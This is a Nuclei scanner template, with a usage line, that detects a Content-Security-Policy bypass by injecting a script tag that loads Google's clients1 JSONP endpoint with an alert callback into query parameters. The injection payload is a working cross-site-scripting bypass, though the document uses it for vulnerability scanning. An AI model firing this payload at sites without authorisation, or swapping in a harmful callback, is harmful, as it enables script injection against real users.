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Content-Security-Policy Bypass - Google Clients1

ID: google-clients1-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,google-clients1

id: google-clients1-csp-bypass
info:
name: Content-Security-Policy Bypass - Google Clients1
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,google-clients1
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "google.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: google_clients1_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="http://clients1.google.com/complete/search?callback=alert&q=PIC&nolabels=t&client=youtube&ds=yt&_=1361575554883"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "google_clients1_csp_xss == true"
# digest: 4a0a00473045022100a03a138776b35e41c533a77cc7b25fbe5c7380769ef6d6259b41c315b4881cac022020f5c1b66b95d54de7054887fcce984acfbee4d2efd8bfba953f4cc4e572caef:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/google-clients1-csp-bypass.yaml"

View on Github